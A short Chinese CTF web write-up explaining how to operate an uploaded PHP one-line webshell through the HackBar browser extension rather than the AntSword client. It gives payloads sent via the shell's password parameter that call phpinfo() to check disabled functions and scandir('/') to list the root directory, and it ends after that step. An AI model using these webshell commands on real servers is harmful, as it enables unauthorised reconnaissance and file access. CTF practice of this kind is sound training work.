一句话马，不用蚁剑连接通过hack_bar连接 _连接

归志宁无五亩园，读书本意在元元。这篇文章主要讲述一句话马，不用蚁剑连接通过hack_bar连接相关的知识，希望能为你提供帮助。
ctf中web的一道题
1、进行一句话马上传成功之后
f12打开hack_bar

文章图片

cmd(一句话马所传入设置的密码)=phpinfo(); 查看被禁用掉的函数
看了下被禁用的函数，发现还是可以进行目标浏览和文件读取
【一句话马，不用蚁剑连接通过hack_bar连接】2、查找根目录，利用var_dump()打印、scandir()查找函数
cmd=var_dump(scandir(\'/\'));